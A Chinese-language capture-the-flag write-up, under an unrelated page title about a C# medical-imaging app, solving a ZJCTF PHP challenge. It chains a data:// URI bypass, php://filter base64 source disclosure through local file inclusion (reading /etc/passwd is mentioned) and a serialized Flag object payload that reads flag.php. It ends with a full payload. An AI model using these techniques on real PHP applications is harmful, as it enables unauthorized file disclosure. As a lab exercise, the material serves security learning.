1. 程式人生 > 實用技巧 >C#開發PACS醫學影像處理系統(三):介面佈局之工具欄

C#開發PACS醫學影像處理系統(三):介面佈局之工具欄

題目

拿到題目

分析

第一個繞過

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

file_get_contents($text,'r')是讀取檔案的內容,說明我們首先要上傳一個檔案,並且它的內容還得是"welcome to the zjctf",我們考慮用data協議,data協議通常是用來執行PHP程式碼,然而我們也可以將內容寫入data協議中然後讓file_get_contents函式取讀取。構造如下:

data:text/plain,welcome to the zjctf

第二個繞過

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

這裡有file引數可控,但是無法直接讀取flag,可以直接讀取/etc/passwd,但針對php檔案我們需要進行base64編碼,否則讀取不到其內容,所以以下無法使用,

所以下面採用filter來讀原始碼,但上面提到過針對php檔案需要base64編碼,所以使用其自帶的base64過濾器。

php://filter/read=convert.base64-encode/resource=useless.php

讀到的useless.php內容如下:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents
($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

第三個繞過

$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;

我們進行序列化

<?php
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
print(serialize(new Flag()));
?>

結果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最後的payload:

text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}